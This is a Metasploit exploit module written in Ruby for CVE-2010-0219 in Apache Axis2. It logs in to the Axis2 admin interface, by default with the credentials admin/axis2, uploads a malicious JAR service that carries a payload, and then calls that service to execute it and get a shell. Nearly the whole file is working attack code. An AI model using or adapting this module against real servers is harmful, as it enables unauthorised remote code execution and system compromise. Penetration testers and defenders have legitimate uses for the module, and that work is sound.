##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'		   => 'Axis2 Authenticated Code Execution (via REST)',
			'Version'		=> '$Revision$',
			'Description'	=> %q{
					This module logs in to an Axis2 Web Admin Module instance using a specific user/pass
				and uploads and executes commands via deploying a malicious web service by using REST.
			},
			'References'  =>
				[
					# General
					[ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
					[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
					[ 'CVE', '2010-0219' ],
				],
			'Platform'	=> [ 'java', 'win', 'linux' ], # others?
			'Targets'	 =>
				[
					[ 'Java', {
							'Arch' => ARCH_JAVA,
							'Platform' => 'java'
						},
					],
					#
					# Platform specific targets only
					#
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						},
					],

					[ 'Linux X86',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						},
					],
				],
			'Author'		 => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
			'License'		=> MSF_LICENSE
		))

		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
				OptString.new('PASSWORD', [ false, 'The password for the specified username','axis2' ]),
				OptString.new('PATH', [ true,  "The URI path of the axis2 app", '/axis2'])
			], self.class)
		register_autofilter_ports([ 8080 ])
	end

	def upload_exec(session)
		contents=''
		name = Rex::Text.rand_text_alpha(8)
		services_xml = %Q{
<service name="#{name}" scope="application">
	<description>
		#{Rex::Text.rand_text_alphanumeric(50 + rand(50))}
	</description>
	<messageReceivers>
		<messageReceiver
			mep="http://www.w3.org/2004/08/wsdl/in-only"
			class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
		<messageReceiver
			mep="http://www.w3.org/2004/08/wsdl/in-out"
			class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
	</messageReceivers>
	<parameter name="ServiceClass">
		metasploit.PayloadServlet
	</parameter>
</service>
}
		if target.name =~ /Java/
			zip = payload.encoded_jar
			zip.add_file("META-INF/services.xml", services_xml)

			# We need this class as a wrapper to run in a thread.  For some reason
			# the Payload class is giving illegal access exceptions without it.
			path = File.join(Msf::Config.install_root, "data", "java", "metasploit", "PayloadServlet.class")
			fd = File.open(path, "rb")
			servlet = fd.read(fd.stat.size)
			fd.close
			zip.add_file("metasploit/PayloadServlet.class", servlet)

			contents = zip.pack
		else

		end

		boundary = rand_text_alphanumeric(6)

		data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "
		data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
		data << contents
		data << "\r\n--#{boundary}--"

		res = send_request_raw({
			'uri'	 => "/#{datastore['PATH']}/axis2-admin/upload",
			'method'  => 'POST',
			'data'	=> data,
			'headers' =>
			{
				'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
				'Content-Length' => data.length,
				'Cookie' => "JSESSIONID=#{session}",
			}
		}, 25)

		if (res and res.code == 200)
			print_status("Successfully uploaded")
		else
			print_error("Error uploading #{res}")
			return
		end
=begin
		res = send_request_raw({
			'uri'	=> "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
			'method'  => 'GET',
			'headers' =>
			{
				'Cookie' => "JSESSIONID=#{session}",
			}
		}, 25)
		puts res.body
		puts res.code
		if res.code > 200 and res.code < 300
			if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
				dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
				puts dir
			else
				if ( a.scan(/catalina\.home<\/th><td style=".*">(.*)&nbsp;<\/td>/i) )
					dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
					puts dir
				end
			end
		end
=end

		print_status("Polling to see if the service is ready")
		# Try to execute the payload
		1.upto 5 do
			Rex::ThreadSafe.sleep(3)
			res = send_request_raw({
				'uri'	 => "/#{datastore['PATH']}/services/#{name}/run",
				'method'  => 'GET',
				'headers' =>
				{
					'Cookie' => "JSESSIONID=#{session}",
				}
			}, 25)
			if res.code >= 200 and res.code < 300
				# This should usually mean we got a shell
				break
			end
		end

	end

	def exploit
		user = datastore['USERNAME']
		pass = datastore['PASSWORD']
		path = datastore['PATH']
		success = false
		srvhdr = '?'
		begin
			res = send_request_cgi(
				{
					'method' => 'POST',
					'uri'	=> "/#{path}/axis2-admin/login",
					'ctype'  => 'application/x-www-form-urlencoded',
					'data'   => "userName=#{user}&password=#{pass}&submit=+Login+",
				}, 25)

			if not (res.kind_of? Rex::Proto::Http::Response)
				raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin not responding")
			end

			if res.code == 404
				raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin returned code 404")
			end

			srvhdr = res.headers['Server']
			if res.code == 200
				# Could go with res.headers["Server"] =~ /Apache-Coyote/i
				# as well but that seems like an element someone's more
				# likely to change

				success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
				if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
					session = $1
				end
			end

		rescue ::Rex::ConnectionError
			print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin Unable to attempt authentication")
		end

		if success
			print_good("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
			upload_exec(session)
		else
			print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
		end
	end

end